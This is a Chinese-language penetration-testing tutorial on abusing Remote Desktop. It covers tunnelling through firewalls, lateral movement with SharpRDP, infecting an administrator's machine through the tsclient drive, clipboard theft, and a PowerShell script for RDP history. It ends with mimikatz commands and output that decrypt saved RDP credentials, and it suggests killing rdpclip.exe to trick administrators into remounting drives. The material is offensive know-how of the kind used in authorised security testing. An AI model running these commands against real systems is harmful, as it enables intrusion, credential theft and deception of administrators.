1 SocksOverRDP

1.1 工具介紹

當防火墻規則配置為:只有 tcp/udp 3389 端口可以進行通信時,可以利用 RDP 協議,建立 Socks 通道。應用場景較為極端。

工具地址:https://github.com/nccgroup/SocksOverRDP

此工具在 RDP 協議的基礎上實現了 Socks 代理功能。就像 SSH 的 -D 參數一樣,在連接后,利用 RDP 協議實現代理功能。

該工具包含兩個部分:

  • .dll,需要在客戶端上進行注冊,并在每次運行時將其加載到遠程桌面客戶端的上下文運行環境中。
  • .exe,它是服務端組件,需要復制到服務器并執行。無需安裝,無需配置。

在遠程桌面連接的服務器端執行 .exe 時,它會通過動態虛擬通道(RDP 協議的特性)連接回客戶端,并在客戶端啟動 SOCKS 代理。該代理默認情況下偵聽 127.0.0.1:1080,可以在瀏覽器或工具中將其配置為代理。

信息

服務器上的程序不需要服務器端的任何特殊特權,還允許低特權用戶打開虛擬通道并通過連接進行代理。

1.2 工具測試

1.2.1 客戶端

.dll 需要放置在客戶端計算機上的任何目錄中,為了方便使用,可以該文件復制到 %SYSROOT%\system32\ 或 %SYSROOT%\SysWoW64\ 環境變量下。

使用以下命令進行安裝注冊該 DLL:

regsvr32.exe SocksOverRDP-Plugin.dll

取消注冊:

regsvr32.exe /u SocksOverRDP-Plugin.dll

在 RDP Client 中啟動 mstsc.exe時可以看到如下提示:

1.2.2 服務端

直接執行:SocksOverRDP-Server.exe 即可

2 RDP to TCP

使用場景仍然是:由于防火墻的設置,只能連接一臺 Windows 服務器的遠程桌面,那么如何以這臺 Windows 服務器為跳板進入內網

2.1 工具介紹

工具地址:https://github.com/V-E-O/rdp2tcp

工具原理:使用 RDP 虛擬通道功能來復用端口

可用的功能:

  • 正向 TCP 端口轉發
  • 反向 TCP 端口轉發
  • 處理標準輸入/輸出轉發
  • SOCKS5 代理

2.2 工具測試

2.2.1 下載并編譯rdp2tcp

  • 安裝 mingw-w64
  • apt-get install mingw-w64
  • 下載 rdp2tcp
  • git clone https://github.com/V-E-O/rdp2tcp.git
  • 修改配置文件
  • rdp2tcp 默認不支持編譯 64 位的 exe,所以這里需要修改配置文件,增加編譯 64 位 exe 的配置信息
  • 修改文件Makefile,新的內容如下:


  1. all: client server-mingw64

  2. client: client/rdp2tcp
  3. client/rdp2tcp:
  4. make -C client

  5. #server-mingw32: server/rdp2tcp.exe
  6. #server/rdp2tcp.exe:
  7. # make -C server -f Makefile.mingw32

  8. server-mingw64: server/rdp2tcp64.exe
  9. server/rdp2tcp64.exe:
  10. make -C server -f Makefile.mingw64

  11. clean:
  12. make -C client clean
  13. # make -C server -f Makefile.mingw32 clean
  14. make -C server -f Makefile.mingw64 clean
  15. make -C tools clean

新建文件 /server/Makefile.mingw64,內容如下:

  1. BIN=rdp2tcp64.exe
  2. CC=i686-w64-mingw32-gcc
  3. CFLAGS=-Wall -g \
  4. -D_WIN32_WINNT=0x0501 \
  5. -I../common

  6. # -D_WIN32_WINNT=0x0501
  7. # -D_WIN32_WINNT=0x0501 -DDEBUG

  8. LDFLAGS=-lwtsapi32 -lws2_32
  9. OBJS= ../common/iobuf.o \
  10. ../common/print.o \
  11. ../common/msgparser.o \
  12. ../common/nethelper.o \
  13. ../common/netaddr.o \
  14. errors.o aio.o events.o \
  15. tunnel.o channel.o process.o commands.o main.o

  16. all: clean_common $(BIN)

  17. clean_common:
  18. $(MAKE) -C ../common clean

  19. $(BIN): $(OBJS)
  20. $(CC) -o $@ $(OBJS) $(LDFLAGS)

  21. %.o: %.c
  22. $(CC) $(CFLAGS) -o $@ -c $<

  23. clean:
  24. rm -f $(OBJS) $(BIN)


  • 編譯
  • make

2.2.2 使用 xfreerdp 連接遠程桌面并建立通道

  • 執行 xfreerdp 并開啟 TCP 重定向功能
  • /opt/freerdp-nightly/bin/xfreerdp /v:IP:3389 /u:user /p:passwd /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp
  • 將 rdp2tcp64.exe 上傳至 RDP Server 并執行(不需要管理員權限)
  • 在客戶端系統上啟動 rdp2tcp.py
  • cd rdp2tcp/tools
  • python rdp2tcp.py
  • 添加正向端口轉發(本地 445 -> 192.168.112.129:445)的命令如下:
  • python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445

3 利用 RDP 橫向移動

3.1 測試

本節介紹的是如何在不通過 GUI 客戶端和 Socks 代理的情況下,基于 RDP 協議進行橫向移動。

Windows 下 mstscax.dll 庫可以執行任何 RDP 功能,此 DLL 是 Microsoft 終端服務的 ActiveX COM 庫。通過利用此 DLL,測試人員可以創建控制臺應用程序,該控制臺應用程序通過 RDP 執行經過身份驗證的遠程命令執行,而無需 GUI 客戶端或 SOCKS 代理。

  • 在 Cobalt Strike 中執行:

  • 直接執行命令:

SharpRDP.exe computername=dc01 command=calc username=offense\administrator password=123456

有兩種身份驗證方法,一種是提供純文本憑據(如上),另一種是使用受限管理模式的當前用戶上下文。受限管理模式是一種 Windows 保護機制,它要求執行網絡類型登錄而不是交互式登錄,即 PTH。

3.2 場景

有時在某些情況下,RDP 是執行橫向移動技術的首選方法,但使用傳統的 RDP 客戶端 GUI 可能很困難。因此,可以使用上述方法,將命令執行過程隱藏在 RDP 協議中。

其次,可以在沒有系統本地管理特權但對系統擁有 RDP 權限的情況下利用 RDP 進行橫向移動,可以利用 BloodHound 進行信息收集。

4 RDP 掛盤反打

利用 掛盤監控 + 注入啟動項 進行攻擊

4.1 原理

tsclient 是通過遠程桌面連接到遠程計算機時,在遠程計算機「網上鄰居」中出現的一個機器名,實際為遠程計算機分配給本機的名稱。

通過 \\tsclient\盤符可以在遠程計算機上訪問本機。其訪問方式類似于使用 smb 進行文件傳輸,雖然本質上都是 smb 協議,但是使用 tsclient 無需身份認證,因此可以直接將通過預制手段,使用 tsclient 反向感染。

4.2 利用

通常情況下,tsclient 的利用思路較為簡單,通過文件傳輸將惡意程序腳本寫入用戶的啟動(startup)文件夾,當機器重啟時,就會執行惡意程序腳本。

工具:https://github.com/mdsecactivebreach/RDPInception/

4.3 限制條件

  1. mstsc 需要開啟驅動器 C 盤,但是默認情況下 mstsc 是不開啟磁盤共享功能的。必須要手工開啟,如圖所示:

  1. 當開啟 RDP 遠程訪問時,只有遠程登錄的用戶可以訪問 tsclient。其他用戶無法訪問,包括使用 runas 也無法訪問。

雖然限制條件較多,但在實際環境中,很多運維人員為了方便操作,通常會掛載磁盤,因此這一方法并非全然無用,需要根據實際情況判斷。猥瑣一些的思路:在腳本找不到掛載磁盤的情況下,直接結束 rdpclip.exe 使管理員無法使用剪切板功能,迫使管理員在不清楚原因的狀況下,直接重新掛載上磁盤操作。

最后,不同于 smb 上傳文件后使用計劃任務啟動,由于不知道被感染的機器用戶身份,因此只能依托于啟動項開機自啟動。因此,該攻擊方式對服務器攻擊效果較弱。

5 剪切板利用方法

除了利用文件傳輸以外,其實還可以嘗試利用剪切板劫持的方法進行反向攻擊。

5.1 剪切板竊取

5.1.1 原理

在使用 mstsc 進行遠程桌面的時候,會啟動一個叫 rdpclip.exe 的進程,該進程的功能是同步服務端與客戶端的剪貼板。

而這個進程是一個十分有用的進程,如上文提到的,如果直接結束該進程,那么在服務端(遠程機器)上將某些數據拷貝到客戶端(本地機器)上時,就會發現剪貼板失效,無法復制。

由于啟動該進程時,會自動同步剪切板內容,因此當目標目標機器與其他機器使用 mstsc 建立 RDP 遠程連接時,就可以通過讀取 rdplicp.exe 進程數據,進行剪貼板竊取,以盡可能地獲取更多的信息。

此外,由于該進程是后臺運行的,當管理員同時用遠程桌面登陸多個服務器,在其中的某一個服務器上進行復制拷貝操作時,會將數據同步到所有服務器的 rdplicp.exe 進程。

5.1.2 利用

在 empire 中有一個 Get-ClipboardContents.ps1,可以用 empire 或者 coablt strike 加載該腳本。或者也可以自己編寫相關腳本使用。是一個相對簡單的工具。

但是需要注意的是,與 tsclient 類似,同計算機的不同用戶之間是無法讀取的,每一個用戶的 rdplicp.exe 是獨立啟動的。

5.2 剪切板傳輸惡意文件

當我們用mstsc登陸了一臺服務器后,在該服務器上按下復制操作時,會產生一系列操作。

5.2.1 原理

在遠程桌面時,使用剪切板傳輸一個文件的流程如下:

1、在服務器上,“復制"操作會創建格式為 “CF_HDROP” 的剪貼板數據

2、在客戶端計算機中執行「粘貼」時,將觸發一系列事件

3、要求服務器上的 rdpclip.exe 進程提供剪貼板的內容,并將其轉換為 FileGroupDescriptor(Fgd) 剪貼板格式

4、使用 HdropToFgdConverter::AddItemToFgd() 函數,將文件的元數據添加到描述符中

5、完成后,將 Fgd Blob 發送到服務器上的 RDP 服務

6、服務器只是將其包裝并將其發送給客戶端

7、客戶端將其解包并將其存儲在自己的剪貼板中

8、「粘貼」事件將發送到當前窗口(例如,explorer.exe)

9、處理事件并從剪貼板讀取數據

10、通過 RDP 連接接收文件的內容

5.2.2 利用

  • https://github.com/qianshuidewajueji/CVE-2019-0887
  • https://github.com/0xedh/mstsc-path-traversal

6 RDP Thief

每次成功連接到遠程主機時,RDP 客戶端都會保存遠程主機的名稱(或IP地址)以及用于登陸的用戶名。再次啟動 mstsc.exe 時,可以直接從列表中選擇遠程 RDP 服務器的名稱,并且客戶端已自動填寫用于登陸的用戶名。

6.1 獲取連接歷史記錄

#>$AllUser = Get-WmiObject -Class Win32_UserAccount

foreach($User in $AllUser)

{

$RegPath = 'Registry::HKEY_USERS\'+$User.SID+'\Software\Microsoft\Terminal Server Client\Servers\'

Write-Host 'User:'$User.Name

Write-Host 'SID:'$User.SID

Write-Host 'Status:'$User.Status

Try

{

$QueryPath = dir $RegPath -Name -ErrorAction Stop

}

Catch

{

Write-Host 'No RDP Connections History'

Write-Host '----------------------------------'

continue

}

foreach($Name in $QueryPath)

{

Try

{

$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint

Write-Host 'User:'$User

Write-Host 'Server:'$Name

}

Catch

{

Write-Host 'No RDP Connections History'

}

}

Write-Host '----------------------------------'

}

" title="復制到剪貼板" style="display: inline; padding: 0.4rem;">

  1. <#
  2. .SYNOPSIS
  3. This script will list the logged-in users' RDP Connections History.
  4. #>
  5. $AllUser = Get-WmiObject -Class Win32_UserAccount
  6. foreach($User in $AllUser)
  7. {
  8. $RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
  9. Write-Host "User:"$User.Name
  10. Write-Host "SID:"$User.SID
  11. Write-Host "Status:"$User.Status
  12. Try
  13. {
  14. $QueryPath = dir $RegPath -Name -ErrorAction Stop
  15. }
  16. Catch
  17. {
  18. Write-Host "No RDP Connections History"
  19. Write-Host "----------------------------------"
  20. continue
  21. }
  22. foreach($Name in $QueryPath)
  23. {
  24. Try
  25. {
  26. $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
  27. Write-Host "User:"$User
  28. Write-Host "Server:"$Name
  29. }
  30. Catch
  31. {
  32. Write-Host "No RDP Connections History"
  33. }
  34. }
  35. Write-Host "----------------------------------"
  36. }

6.2 破解 RDP 連接憑證

破解 RDP 連接憑證的前提是用戶在連接遠程主機時勾選了保存保存憑證。

  • 查找本地的 Credentials
  • dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

  • 使用 mimikatz 進行操作
  • mimikatz dpapi::cred /in:C:\Users\by\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D


  1. **BLOB**
  2. dwVersion : 00000001 - 1
  3. guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  4. dwMasterKeyVersion : 00000001 - 1
  5. guidMasterKey : {ffc994a1-de8d-4304-9416-31e587f7a8ca}
  6. dwFlags : 20000000 - 536870912 (system ; )
  7. dwDescriptionLen : 00000030 - 48
  8. szDescription : Local Credential Data

  9. algCrypt : 00006610 - 26128 (CALG_AES_256)
  10. dwAlgCryptLen : 00000100 - 256
  11. dwSaltLen : 00000020 - 32
  12. pbSalt : 00fed8ca7ec6d44585dd1fbd8b57e77b6ab0cf318ec5d52d09fd0694ffb89ccb
  13. dwHmacKeyLen : 00000000 - 0
  14. pbHmackKey :
  15. algHash : 0000800e - 32782 (CALG_SHA_512)
  16. dwAlgHashLen : 00000200 - 512
  17. dwHmac2KeyLen : 00000020 - 32
  18. pbHmack2Key : b49ef55f909fa503eda37ddc797c83c99df983920bfb4628e07aac5cb32bb530
  19. dwDataLen : 000000b0 - 176
  20. pbData : 4083f8f501b999a35c4aa57ce732bf52d30a6e604dac5a91b6fd3e65660c52a536025c5126f0d12b85044498deef08a8688b3459f49514ed6ae46271a1cb4cd0e70845d9b6beccbcbe85dead0fb7c80b4f7810add87b75c48592fcbfbbfd94fa4eee8004f8cf6d9619ef4b9af643f4c9ef0e8a2a5b0cd00530a5638cfd114fee4b735ac12eef2c7e6a0364845eb0ee4b3ab121e33324f8d5af48f3422bd47a76ab5e9e9e5a1a383e22fff8bf851b6a2a
  21. dwSignLen : 00000040 - 64
  22. pbSign : 7c8dbe7991c6af4d3bfc9f808790a0904738d0ca227bc2ee20ee26cbf06487dd2679e932b27ea0c0cbbe590ee6430641605d7001b2158c8873c5d6a09a9855a8

接下來需要使用的就是 guidMasterKey、pbData 數據。pbData 是憑據的加密數據,guidMasterKey 是憑據的 GUID

  • 使用 sekurlsa::dpapi

根據目標憑據 GUID:{ffc994a1-de8d-4304-9416-31e587f7a8ca}找到其關聯的 MasterKey,這個 MasterKey 就是加密憑據的密鑰,即解密 pbData 所必須的東西。

  • 解密
  • dpapi::cred /in:C:\Users\by\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 /masterkey:e01320a53bf9d57da1163c7723a5b3901df5a3fc8e504fc021def2637d19d34c0084a3ac2a0daab3fb9af3f98c48a9a901627dc4b10db087cb357e1d2f8aa18c